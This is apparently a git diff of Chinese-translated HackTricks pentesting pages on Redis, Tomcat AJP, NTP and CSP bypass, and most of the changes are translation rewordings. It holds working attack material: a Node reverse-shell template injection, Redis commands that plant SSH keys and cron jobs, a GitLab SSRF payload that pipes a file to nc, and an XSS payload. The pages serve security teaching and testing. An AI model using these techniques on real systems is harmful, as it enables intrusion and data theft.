加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
@ -178,13 +178,13 @@ OK
10.85.0.52:6379> save
OK
```
如果 webshell 访问异常,您可以在备份后清空数据库并重试,记得恢复数据库。
如果 webshell 访问异常,您可以在备份后清空数据库并重试,记得恢复数据库。
### 模板 Webshell
与前一节一样,您还可以覆盖一些将被模板引擎解释的 html 模板文件,从而获得 shell。
例如,按照 [**这篇文章**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/),您可以看到攻击者在 **nunjucks 模板引擎** 解释的 **html** 中注入了一个 **rev shell**
例如,遵循 [**这篇文章**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/),您可以看到攻击者在 **nunjucks 模板引擎** 解释的 **html 中注入了 rev shell**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
@ -199,19 +199,19 @@ sh.stderr.pipe(client);
)()}}
```
{% hint style="warning" %}
注意 **多个模板引擎会将** 模板缓存到 **内存中**,因此即使你覆盖了它们,新的模板也 **不会被执行**。在这种情况下,要么开发者保持了自动重载的状态,要么你需要对服务进行 DoS 攻击(并期望它会自动重新启动)。
注意**多个模板引擎会将**模板缓存到**内存**中,因此即使您覆盖它们,新的模板也**不会被执行**。在这种情况下开发人员要么保持自动重载处于活动状态要么您需要对服务进行DoS攻击(并期望它会自动重新启动)。
{% endhint %}
### SSH
示例 [来自这里](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
请注意 **`config get dir`** 的结果可能会在其他手动利用命令后发生变化。建议在登录 Redis 后立即运行它。在 **`config get dir`** 的输出中,你可以找到 **redis 用户****家目录**(通常是 _/var/lib/redis__/home/redis/.ssh_),知道这一点后,你就知道可以在哪里写入 `authenticated_users` 文件以通过 ssh **以 redis 用户身份** 访问。如果你知道其他有效用户的家目录并且你有可写权限,你也可以利用它:
请注意**`config get dir`** 的结果在其他手动利用命令后可能会改变。建议在登录Redis后立即运行它。在**`config get dir`** 的输出中,您可以找到**redis用户**的**主目录**(通常是 _/var/lib/redis__/home/redis/.ssh_),知道这一点后,您就知道可以在哪里写入 `authenticated_users` 文件以通过 **redis用户** 进行ssh访问。如果您知道其他有效用户的主目录并且您有可写权限也可以利用它:
1. 在你的电脑上生成一个 ssh 公私钥对:**`ssh-keygen -t rsa`**
1. 在您的电脑上生成一个ssh公钥-私钥对:**`ssh-keygen -t rsa`**
2. 将公钥写入文件:**`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. 将文件导入 redis**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. 将公钥保存到 redis 服务器上的 **authorized\_keys** 文件中:
3. 将文件导入redis**`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. 将公钥保存到redis服务器上的**authorized\_keys**文件中:
```
root@Urahara:~# redis-cli -h 10.85.0.52
@ -222,7 +222,7 @@ OK
10.85.0.52:6379> save
OK
```
5. 最后,你可以使用私钥 **ssh** 连接到 **redis 服务器****ssh -i id\_rsa redis@10.85.0.52**
5. 最后,您可以使用私钥**ssh**到**redis服务器****ssh -i id\_rsa redis@10.85.0.52**
**此技术在这里自动化:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
@ -237,16 +237,16 @@ OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
最后一个示例适用于 Ubuntu对于 **Centos**,上述命令应为:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
The last example is for Ubuntu, for **Centos**, the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
方法也可以用来赚取比特币:[yam](https://www.v2ex.com/t/286981#reply14)
这种方法也可以用来赚取比特币:[yam](https://www.v2ex.com/t/286981#reply14)
### 加载 Redis 模块
### Load Redis Module
1. 按照 [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) 的说明,可以 **编译一个 redis 模块以执行任意命令**
2. 然后需要某种方式来 **上传编译好的** 模块。
3. **在运行时加载上传的模块**,使用 `MODULE LOAD /path/to/mymodule.so`
4. **列出已加载的模块**,以检查是否正确加载:`MODULE LIST`
1. 按照 [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) 的说明,可以 **编译一个 redis 模块以执行任意命令**
2. 然后需要某种方式来 **上传编译好的** 模块。
3. **在运行时加载上传的模块**,使用 `MODULE LOAD /path/to/mymodule.so`
4. **列出已加载的模块** 以检查它是否正确加载:`MODULE LIST`。
5. **执行** **命令**
```
@ -256,19 +256,19 @@ OK
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. 随时卸载模块:`MODULE UNLOAD mymodule`
6. 随时卸载模块:`MODULE UNLOAD mymodule`
### LUA 沙箱绕过
### LUA sandbox bypass
[**这里**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) 您可以看到 Redis 使用命令 **EVAL** 来执行 **沙箱中的 Lua 代码**。在链接的帖子中,您可以看到 **如何滥用它** 使用 **dofile** 函数,但 [显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) 这不再可能。无论如何,如果您可以 **绕过 Lua** 沙箱,您可以 **在系统上执行任意** 命令。此外,从同一帖子中,您可以看到一些 **导致 DoS 的选项**
[**这里**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) 你可以看到 Redis 使用命令 **EVAL** 来执行 **Lua 代码沙箱**。在链接的帖子中,你可以看到 **如何滥用它** 使用 **dofile** 函数,但 [显然](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) 这已经不再可能。无论如何,如果你能 **绕过 Lua** 沙箱,你可以 **在系统上执行任意** 命令。此外,从同一帖子中你可以看到一些 **导致 DoS 的选项**
一些 **CVE 用于逃 LUA**
一些 **CVE 用于逃 LUA**
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### 主从模块
### Master-Slave Module
主 Redis 的所有操作会自动同步到从 Redis这意味着我们可以将漏洞 Redis 视为从 Redis连接到我们自己控制的主 Redis然后我们可以向自己的 Redis 输入命令。
主 Redis 的所有操作会自动同步到从 Redis这意味着我们可以将漏洞 Redis 视为一个从 Redis连接到我们自己控制的主 Redis然后我们可以向我们自己的 Redis 输入命令。
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -296,7 +296,7 @@ set mykey2 helloworld
### 示例Gitlab SSRF + CRLF 到 Shell
**Gitlab11.4.7** 中发现了一个 **SSRF** 漏洞和一个 **CRLF**。该 **SSRF** 漏洞存在于 **从 URL 导入项目功能** 中,在创建新项目时允许以 \[0:0:0:0:0:ffff:127.0.0.1] 的形式访问任意 IP这将访问 127.0.0.1),而 **CRLF** 漏洞则通过在 **URL** 中添加 **%0D%0A** 字符来利用
**Gitlab11.4.7** 中发现了一个 **SSRF** 漏洞和一个 **CRLF**。该 **SSRF** 漏洞存在于 **从 URL 导入项目功能** 中,在创建新项目时允许以 \[0:0:0:0:0:ffff:127.0.0.1] 的形式访问任意 IP这将访问 127.0.0.1),而 **CRLF** 漏洞则是通过向 **URL** 添加 **%0D%0A** 字符来利用的
因此,可以 **利用这些漏洞与管理来自 gitlab 的队列的 Redis 实例进行通信**,并利用这些队列 **获得代码执行**。Redis 队列滥用有效载荷是:
```
@ -309,13 +309,13 @@ exec
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_出于某种原因正如_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _的作者所述利用`git`方案而不是`http`方案成功。_
_出于某种原因正如_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _中作者所述__利用`git`方案而不是`http`方案成功。_
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
@ -324,7 +324,7 @@ _出于某种原因正如_ [_https://liveoverflow.com/gitlab-11-4-7-remote-co
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)与顶尖黑客开始合作!
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy)今天就开始与顶级黑客合作!
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -335,8 +335,8 @@ _出于某种原因正如_ [_https://liveoverflow.com/gitlab-11-4-7-remote-co
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -28,15 +28,15 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们,进入** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
## 基本信息
来自: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
> AJP 是一种线协议。它是 HTTP 协议的优化版本,允许独立的 web 服务器如 [Apache](http://httpd.apache.org/) 与 Tomcat 通信。历史上Apache 在提供静态内容方面比 Tomcat 快得多。其想法是让 Apache 在可能的情况下提供静态内容,但将请求代理到 Tomcat 以获取与 Tomcat 相关的内容。
> AJP 是一种线协议。它是 HTTP 协议的优化版本,允许独立的 web 服务器如 [Apache](http://httpd.apache.org/) 与 Tomcat 通信。历史上Apache 在提供静态内容方面比 Tomcat 快得多。其想法是让 Apache 在可能的情况下提供静态内容,但将请求代理到 Tomcat 以获取与 Tomcat 相关的内容。
也很有趣
同样有趣的是
> ajp13 协议是面向数据包的。出于性能原因显然选择了二进制格式而不是更易读的纯文本。web 服务器通过 TCP 连接与 servlet 容器通信。为了减少创建套接字的昂贵过程web 服务器将尝试保持与 servlet 容器的持久 TCP 连接,并重用一个连接进行多个请求/响应周期。
@ -49,7 +49,7 @@ PORT STATE SERVICE
如果 AJP 端口暴露Tomcat 可能会受到 Ghostcat 漏洞的影响。这里有一个 [exploit](https://www.exploit-db.com/exploits/48143) 可以利用这个问题。
Ghostcat 是一个 LFI 漏洞,但有些限制:只能提取来自特定路径的文件。尽管如此,这仍然可以包括像 `WEB-INF/web.xml` 这样的文件,这可能会泄露重要信息,如 Tomcat 接口的凭据,具体取决于服务器设置。
Ghostcat 是一个 LFI 漏洞,但有些限制:只能提取来自特定路径的文件。尽管如此,这仍然可能包括像 `WEB-INF/web.xml` 这样的文件,这可能会泄露重要信息,如 Tomcat 界面的凭据,具体取决于服务器的设置。
在 9.0.31、8.5.51 和 7.0.100 或更高版本中已修复此问题。
@ -67,7 +67,7 @@ nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
[查看 Docker 化版本](8009-pentesting-apache-jserv-protocol-ajp.md#Dockerized-version)
当我们遇到一个开放的 AJP 代理端口8009 TCP时,我们可以使用带有 `ajp_module` 的 Nginx 访问“隐藏”的 Tomcat 管理员。这可以通过编译 Nginx 源代码并添加所需模块来完成,如下所示:
当我们遇到一个开放的 AJP 代理端口 (8009 TCP) 时,我们可以使用带有 `ajp_module` 的 Nginx 访问“隐藏”的 Tomcat 管理员。这可以通过编译 Nginx 源代码并添加所需模块来完成,如下所示:
* 下载 Nginx 源代码
* 下载所需模块
@ -87,7 +87,7 @@ make
sudo make install
nginx -V
```
在`/etc/nginx/conf/nginx.conf`的`http`块中注释掉整个`server`块,并在其中添加以下行。
将整个 `server` 块注释掉,并在 `/etc/nginx/conf/nginx.conf``http` 块中附加以下行。
```shell-session
upstream tomcats {
server <TARGET_SERVER>:8009;
@ -101,7 +101,7 @@ ajp_pass tomcats;
}
}
```
启动 Nginx并通过向本地主机发出 cURL 请求来检查一切是否正常工作。
启动 Nginx 并通过向本地主机发出 cURL 请求来检查一切是否正常工作。
```html
sudo nginx
curl http://127.0.0.1:80
@ -165,7 +165,7 @@ sudo a2enmod proxy_http
sudo a2enmod proxy_ajp
sudo systemctl restart apache2
```
此设置提供了绕过入侵检测和防御系统IDS/IPS的潜力,原因在于**AJP协议的二进制特性**尽管这一能力尚未得到验证。通过将常规的Metasploit Tomcat漏洞利用指向`127.0.0.1:80`,您可以有效地控制目标系统。
此设置由于**AJP协议的二进制特性**提供了绕过入侵检测和防御系统IDS/IPS的潜力尽管这一能力尚未得到验证。通过将常规的Metasploit Tomcat漏洞利用指向`127.0.0.1:80`,您可以有效地控制目标系统。
```bash
msf exploit(tomcat_mgr_deploy) > show options
```
@ -174,7 +174,7 @@ msf exploit(tomcat_mgr_deploy) > show options
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -191,14 +191,14 @@ msf exploit(tomcat_mgr_deploy) > show options
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>

View file

@ -9,14 +9,14 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -33,7 +33,7 @@
## 基本信息
**网络时间协议 (NTP)** 确保计算机和网络设备在可变延迟网络中准确同步时钟。它对于维护 IT 操作、安全和日志记录中的精确计时至关重要。NTP 的准确性至关重要,但如果管理不当,也会带来安全风险。
**网络时间协议 (NTP)** 确保计算机和网络设备在可变延迟网络中准确同步时钟。它对 IT 操作、安全和日志记录中的精确计时至关重要。NTP 的准确性至关重要,但如果管理不当,也会带来安全风险。
### 摘要与安全提示:
@ -71,7 +71,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**NTP DDoS攻击的工作原理**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
**NTP协议**使用UDP允许在不需要握手程序的情况下操作这与TCP不同。这个特性在**NTP DDoS放大攻击**中被利用。在这里攻击者创建带有假源IP的包使攻击请求看起来像是来自受害者。这些最初较小的包促使NTP服务器以更大的数据量进行响应从而放大攻击。
**NTP协议**使用UDP允许在没有握手程序的情况下操作这与TCP不同。这个特性在**NTP DDoS放大攻击**中被利用。在这里攻击者创建带有假源IP的包使攻击请求看起来像是来自受害者。这些最初较小的包促使NTP服务器以更大的数据量进行响应从而放大攻击。
尽管_**MONLIST**_命令使用较少但可以报告最后600个连接到NTP服务的客户端。虽然该命令本身很简单但在此类攻击中的误用突显了关键的安全漏洞。
```bash
@ -100,7 +100,7 @@ Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -113,7 +113,7 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们,** [**Discord**](https://discord.com/invite/N3FrSbmwdy)开始与顶级黑客合作吧!
**今天就加入我们,** [**Discord**](https://discord.com/invite/N3FrSbmwdy)与顶尖黑客开始合作吧!
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -123,8 +123,8 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}

View file

@ -9,13 +9,13 @@
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -28,11 +28,11 @@
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
**今天就加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作吧!
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy)今天就开始与顶尖黑客合作吧!
## 什么是 CSP
内容安全策略 (CSP) 被认为是一种浏览器技术,主要旨在 **防御诸如跨站脚本 (XSS) 的攻击**。它通过定义和详细说明资源可以安全加载的路径和来源来运作。这些资源包括图像、框架和 JavaScript 等多种元素。例如,策略可能允许从同一域 (self) 加载和执行资源,包括内联资源以及通过 `eval`、`setTimeout` 或 `setInterval` 等函数执行字符串代码。
内容安全策略 (CSP) 被认为是一种浏览器技术,主要旨在 **防御诸如跨站脚本 (XSS) 的攻击**。它通过定义和详细说明浏览器可以安全加载资源的路径和来源来发挥作用。这些资源包括图像、框架和 JavaScript 等多种元素。例如,策略可能允许从同一域 (self) 加载和执行资源,包括内联资源以及通过 `eval`、`setTimeout` 或 `setInterval` 等函数执行字符串代码。
CSP 的实施通过 **响应头** 或通过将 **meta 元素嵌入 HTML 页面** 来进行。遵循此政策后,浏览器会主动执行这些规定,并立即阻止任何检测到的违规行为。
@ -46,9 +46,9 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
```
### Headers
CSP 可以通过以下头部进行强制执行或监控:
CSP 可以使用以下头部进行强制或监控:
* `Content-Security-Policy`: 强制执行 CSP浏览器阻止任何违规行为。
* `Content-Security-Policy`: 强制执行 CSP浏览器阻止任何违规行为。
* `Content-Security-Policy-Report-Only`: 用于监控;报告违规行为而不阻止它们。非常适合在预生产环境中进行测试。
### Defining Resources
@ -70,11 +70,11 @@ object-src 'none';
* **script-src**: 允许特定来源的JavaScript包括URL、内联脚本和由事件处理程序或XSLT样式表触发的脚本。
* **default-src**: 设置在缺少特定获取指令时获取资源的默认策略。
* **child-src**: 指定允许的Web工作者和嵌入框架内容的资源。
* **connect-src**: 限制可以通过fetch、WebSocket、XMLHttpRequest等接口加载的URL。
* **connect-src**: 限制可以使用fetch、WebSocket、XMLHttpRequest等接口加载的URL。
* **frame-src**: 限制框架的URL。
* **frame-ancestors**: 指定可以嵌入当前页面的来源,适用于`<frame>`、`<iframe>`、`<object>`、`<embed>`和`<applet>`等元素。
* **img-src**: 定义允许的图像来源。
* **font-src**: 指定通过`@font-face`加载的字体的有效来源。
* **font-src**: 指定使用`@font-face`加载的字体的有效来源。
* **manifest-src**: 定义应用程序清单文件的允许来源。
* **media-src**: 定义加载媒体对象的允许来源。
* **object-src**: 定义`<object>`、`<embed>`和`<applet>`元素的允许来源。
@ -90,7 +90,7 @@ object-src 'none';
### 来源
* `*`: 允许所有URL除了那些具有`data:`、`blob:`、`filesystem:`方案的URL。
* `*`: 允许所有URL除了具有`data:`、`blob:`、`filesystem:`方案的URL。
* `'self'`: 允许从同一域加载。
* `'data'`: 允许通过数据方案加载资源例如Base64编码的图像
* `'none'`: 阻止从任何来源加载。
@ -147,13 +147,13 @@ Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
有效载荷:
工作有效载荷:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
如果你能以某种方式使一个**允许的 JS 代码创建一个新的 script 标签**在 DOM 中,并且是由允许的脚本创建的,那么**新的 script 标签将被允许执行**。
如果你能以某种方式使一个**允许的 JS 代码创建一个新的脚本标签**在 DOM 中,并且是由允许的脚本创建的,那么**新的脚本标签将被允许执行**。
### Wildcard (\*)
```yaml
@ -190,13 +190,13 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
然而,服务器**正在验证上传的文件**,并且只允许您**上传特定类型的文件**。
此外即使您能够使用服务器接受的扩展名_script.png_在文件中上传**JS代码**这也不够因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**而像Chrome这样的浏览器将**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名因此它不会以**MIME类型如audio/***提供它。
此外,即使您能够使用服务器接受的扩展名(_script.png_在文件中上传**JS代码**这也不够因为一些服务器如apache服务器**根据扩展名选择文件的MIME类型**而像Chrome这样的浏览器将**拒绝执行应该是图像的内容中的Javascript**代码。“希望”有错误。例如从一个CTF中我了解到**Apache不知道**_**.wave**_扩展名因此它不会以**MIME类型如audio/**提供它。
从这里开始如果您发现XSS和文件上传并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多用途文件([这里有一些多用途文件示例](https://github.com/Polydet/polyglot-database))。
从这里开始如果您发现XSS和文件上传并且您设法找到一个**被误解的扩展名**,您可以尝试上传一个具有该扩展名和脚本内容的文件。或者,如果服务器正在检查上传文件的正确格式,可以创建一个多格式文件([这里有一些多格式文件示例](https://github.com/Polydet/polyglot-database))。
### Form-action
如果无法注入JS您仍然可以尝试通过**注入表单操作**来提取例如凭据(并可能期望密码管理器自动填密码)。您可以在[**此报告中找到一个示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。另外,请注意`default-src`不涵盖表单操作。
如果无法注入JS您仍然可以尝试通过**注入表单操作**来提取例如凭据(并可能期望密码管理器自动填密码)。您可以在[**此报告中找到一个示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。另外,请注意`default-src`不涵盖表单操作。
### 第三方端点 + ('unsafe-eval')
